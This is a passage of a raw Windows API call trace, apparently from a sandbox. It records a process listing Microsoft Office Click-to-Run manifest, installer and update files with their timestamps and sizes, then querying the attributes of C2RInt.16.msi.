lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1ff851e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1ff851e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd257bc65, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", cAlternateFileName="C2RMAN~2.XML")) returned 1 [0159.471] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd31415cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd31415cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd32bedda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5b94, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.lyncmui.msi.16.en-us.xml", cAlternateFileName="C2FCD6~1.XML")) returned 1 [0159.471] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd32bedda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd32bedda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3593a88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.office32mui.msi.16.en-us.xml", cAlternateFileName="C2BADD~1.XML")) returned 1 [0159.471] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2b97d2d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2b97d2d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2cc8f5f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.office32ww.msi.16.x-none.xml", cAlternateFileName="C2EBFE~1.XML")) returned 1 [0159.471] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd356d87a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd356d87a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd36c4db5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19870, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.officemui.msi.16.en-us.xml", cAlternateFileName="C29059~1.XML")) returned 1 [0159.471] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd375d6d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd375d6d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd38424c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.officemuiset.msi.16.en-us.xml", cAlternateFileName="C2467F~1.XML")) returned 1 [0159.471] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd276bb03, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd276bb03, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd295b9b9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", cAlternateFileName="C21839~1.XML")) returned 1 [0159.472] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd360620a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd360620a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd375d6d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4a4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.onenotemui.msi.16.en-us.xml", cAlternateFileName="C24C3D~1.XML")) returned 1 [0159.472] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd276bb03, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd276bb03, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd29a7ddb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", cAlternateFileName="C24EFF~1.XML")) returned 1 [0159.472] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd3593a88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd3593a88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3678904, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.osmmui.msi.16.en-us.xml", cAlternateFileName="C25F09~1.XML")) returned 1 [0159.472] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd26acf16, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd26acf16, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd28c2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x906, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", cAlternateFileName="C22C6F~1.XML")) returned 1 [0159.472] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd356d87a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd356d87a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd362c40f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.osmuxmui.msi.16.en-us.xml", cAlternateFileName="C21C45~1.XML")) returned 1 [0159.472] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd257bc65, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd257bc65, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd276bb03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17194, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", cAlternateFileName="C29151~1.XML")) returned 1 [0159.473] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd36c4db5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd36c4db5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3783951, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17984, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.outlookmui.msi.16.en-us.xml", cAlternateFileName="C2C4E2~1.XML")) returned 1 [0159.473] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd257bc65, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd257bc65, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd27de170, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xafddc, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", cAlternateFileName="C280EB~1.XML")) returned 1 [0159.473] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd26acf16, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd26acf16, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd290f4ec, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x195a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", cAlternateFileName="C222CA~1.XML")) returned 1 [0159.473] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd33f011b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd33f011b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd35dffce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x689e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.powerpointmui.msi.16.en-us.xml", cAlternateFileName="C27FF4~1.XML")) returned 1 [0159.473] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b17ac3e, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b17ac3e, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7446, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Project.Project.x-none.msi.16.x-none.xml", cAlternateFileName="C2E87B~1.XML")) returned 1 [0159.473] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b2abe77, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2d20ad, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x809e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.projectmui.msi.16.en-us.xml", cAlternateFileName="C26005~1.XML")) returned 1 [0159.474] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd375d6d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd375d6d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd397382c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x63ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.en-us.xml", cAlternateFileName="C2B3EB~1.XML")) returned 1 [0159.474] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd36eafd9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd36eafd9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37a9bb2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.es-es.xml", cAlternateFileName="C23127~1.XML")) returned 1 [0159.474] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd38424c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd38424c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3999a72, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.fr-fr.xml", cAlternateFileName="C2BAB3~1.XML")) returned 1 [0159.474] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd36c4db5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd36c4db5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37f6035, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.proofing.msi.16.en-us.xml", cAlternateFileName="C24618~1.XML")) returned 1 [0159.474] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd295b9b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd295b9b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2b97d2d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", cAlternateFileName="C2C6D1~1.XML")) returned 1 [0159.474] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd362c40f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd362c40f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37374c5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.publishermui.msi.16.en-us.xml", cAlternateFileName="C26B0A~1.XML")) returned 1 [0159.475] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd28c2fa3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd28c2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd29ce0e8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb27ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.shared.Office.x-none.msi.16.x-none.xml", cAlternateFileName="C2A7B5~1.XML")) returned 1 [0159.475] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1159842, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x11cbd0e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2aafe, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", cAlternateFileName="C2668D~1.XML")) returned 1 [0159.475] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1159842, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1218203, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf0cb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.visiomui.msi.16.en-us.xml", cAlternateFileName="C2A712~1.XML")) returned 1 [0159.475] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2c30669, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2c30669, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2dd401b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1536e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Word.Word.x-none.msi.16.x-none.xml", cAlternateFileName="C29B2F~1.XML")) returned 1 [0159.475] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd39e5e8b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd39e5e8b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3a7e818, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x130fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.wordmui.msi.16.en-us.xml", cAlternateFileName="C2EB7A~1.XML")) returned 1 [0159.476] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2c30669, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2c30669, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2dfa2a2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12c470, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integrator.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0159.476] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1158e0a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x128ed2a1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6e22a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDriveSetup.exe", cAlternateFileName="ONEDRI~1.EXE")) returned 1 [0159.476] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef3b8917, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef3b8917, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef4774a9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x18ad800, dwReserved0=0x0, dwReserved1=0x0, cFileName="QFE31927.msp", cAlternateFileName="")) returned 1 [0159.476] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee75a612, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee75a612, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef109ec5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x18ad800, dwReserved0=0x0, dwReserved1=0x0, cFileName="QFE31928.msp", cAlternateFileName="")) returned 1 [0159.476] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd44a0845, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd44a0845, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd455f44d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc0e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPPRedist.msi", cAlternateFileName="SPPRED~1.MSI")) returned 1 [0159.476] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x51c07e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51c07e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51c07e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfa976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0159.477] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x97da2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x86.msu", cAlternateFileName="WI4D05~1.MSU")) returned 1 [0159.477] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x59b433, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x59b433, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c164a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14902e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows8-RT-KB2999226-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0159.477] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d50bdc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d50bdc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d50bdc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x96388, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows8-RT-KB2999226-x86.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0159.477] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5fc257f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf2d1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows8.1-KB2999226-x64.msu", cAlternateFileName="WI2C39~1.MSU")) returned 1 [0159.477] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7c37773, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7c37773, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7c37773, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x91809, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows8.1-KB2999226-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0159.477] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7c37773, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7c37773, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7c37773, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x91809, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows8.1-KB2999226-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 0 [0159.478] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0159.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee520) returned 1 [0159.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4e0) returned 1 [0159.478] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi", lpFilePart=0x0) returned 0x40 [0159.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0159.478] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), 